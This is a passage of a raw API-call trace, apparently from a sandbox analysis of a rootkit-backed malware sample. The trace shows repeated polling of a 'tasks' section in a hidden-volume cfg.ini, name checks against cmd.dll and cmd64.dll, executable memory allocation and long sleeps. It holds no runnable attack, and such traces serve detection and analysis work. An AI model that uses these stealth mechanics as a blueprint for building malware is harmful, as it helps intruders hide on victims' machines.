IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.209] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.209] KeEnterCriticalRegion () [0119.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.209] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb2000 [0119.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.210] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.210] IdePortDispatch () returned 0x103 [0119.210] KeWaitForMutexObject () returned 0x0 [0119.210] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.210] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.210] IdePortDispatch () returned 0x103 [0119.210] KeWaitForMutexObject () returned 0x0 [0119.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.210] KeLeaveCriticalRegion () [0119.210] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.211] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.211] KeEnterCriticalRegion () [0119.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.211] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.211] KeLeaveCriticalRegion () [0119.211] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.211] KeEnterCriticalRegion () [0119.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.211] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.211] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.211] KeLeaveCriticalRegion () [0119.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.211] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.211] KeEnterCriticalRegion () [0119.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.211] ExFreePoolWithTag (P=0xfffffa80039ca2c0, Tag=0x0) [0119.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.211] KeLeaveCriticalRegion () [0119.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.211] ReleaseMutex (hMutex=0xf0) returned 1 [0119.211] Sleep (dwMilliseconds=0x927c0) [0119.225] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.225] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.225] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.225] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.225] KeEnterCriticalRegion () [0119.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.225] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.225] IdePortDispatch () returned 0x103 [0119.226] KeWaitForMutexObject () returned 0x0 [0119.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.226] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.226] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.226] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.226] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.226] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb010 [0119.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.226] KeLeaveCriticalRegion () [0119.226] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.226] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.226] KeEnterCriticalRegion () [0119.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.226] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.226] KeLeaveCriticalRegion () [0119.226] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.226] KeEnterCriticalRegion () [0119.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.226] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.226] IdePortDispatch () returned 0x103 [0119.226] KeWaitForMutexObject () returned 0x0 [0119.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.226] KeLeaveCriticalRegion () [0119.226] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.226] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.226] KeEnterCriticalRegion () [0119.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.227] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb7000 [0119.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.227] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.227] IdePortDispatch () returned 0x103 [0119.227] KeWaitForMutexObject () returned 0x0 [0119.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.227] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.227] IdePortDispatch () returned 0x103 [0119.227] KeWaitForMutexObject () returned 0x0 [0119.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.227] KeLeaveCriticalRegion () [0119.227] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.228] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.228] KeEnterCriticalRegion () [0119.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.228] KeLeaveCriticalRegion () [0119.228] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.228] KeEnterCriticalRegion () [0119.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.228] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.228] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.228] KeLeaveCriticalRegion () [0119.228] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.228] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.228] KeEnterCriticalRegion () [0119.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.228] ExFreePoolWithTag (P=0xfffffa8003bcb010, Tag=0x0) [0119.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.228] KeLeaveCriticalRegion () [0119.228] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.228] ReleaseMutex (hMutex=0xf0) returned 1 [0119.228] Sleep (dwMilliseconds=0x927c0) [0119.232] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.232] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.234] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.234] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.234] KeEnterCriticalRegion () [0119.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.234] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.234] IdePortDispatch () returned 0x103 [0119.235] KeWaitForMutexObject () returned 0x0 [0119.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.235] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.235] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.235] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.235] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.235] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbcb0 [0119.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.235] KeLeaveCriticalRegion () [0119.235] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.235] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.235] KeEnterCriticalRegion () [0119.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.235] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.235] KeLeaveCriticalRegion () [0119.235] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.235] KeEnterCriticalRegion () [0119.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.235] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.235] IdePortDispatch () returned 0x103 [0119.235] KeWaitForMutexObject () returned 0x0 [0119.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.235] KeLeaveCriticalRegion () [0119.235] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.235] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.235] KeEnterCriticalRegion () [0119.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cba000 [0119.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.236] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.236] IdePortDispatch () returned 0x103 [0119.236] KeWaitForMutexObject () returned 0x0 [0119.236] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.236] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.236] IdePortDispatch () returned 0x103 [0119.236] KeWaitForMutexObject () returned 0x0 [0119.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.236] KeLeaveCriticalRegion () [0119.236] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.237] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.237] KeEnterCriticalRegion () [0119.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.237] KeLeaveCriticalRegion () [0119.237] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.237] KeEnterCriticalRegion () [0119.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.237] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.237] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.237] KeLeaveCriticalRegion () [0119.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.237] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.237] KeEnterCriticalRegion () [0119.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.237] ExFreePoolWithTag (P=0xfffffa8003bdbcb0, Tag=0x0) [0119.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.237] KeLeaveCriticalRegion () [0119.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.237] ReleaseMutex (hMutex=0xf0) returned 1 [0119.237] Sleep (dwMilliseconds=0x927c0) [0119.248] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.248] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.248] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.248] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.248] KeEnterCriticalRegion () [0119.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.248] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.248] IdePortDispatch () returned 0x103 [0119.248] KeWaitForMutexObject () returned 0x0 [0119.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.249] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.249] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.249] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.249] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.249] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbd00 [0119.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.249] KeLeaveCriticalRegion () [0119.249] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.249] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.249] KeEnterCriticalRegion () [0119.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.249] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.249] KeLeaveCriticalRegion () [0119.249] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.249] KeEnterCriticalRegion () [0119.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.249] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.249] IdePortDispatch () returned 0x103 [0119.249] KeWaitForMutexObject () returned 0x0 [0119.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.249] KeLeaveCriticalRegion () [0119.249] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.249] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.249] KeEnterCriticalRegion () [0119.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbe000 [0119.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.249] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.249] IdePortDispatch () returned 0x103 [0119.250] KeWaitForMutexObject () returned 0x0 [0119.250] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.250] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.250] IdePortDispatch () returned 0x103 [0119.250] KeWaitForMutexObject () returned 0x0 [0119.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.250] KeLeaveCriticalRegion () [0119.250] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.250] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: 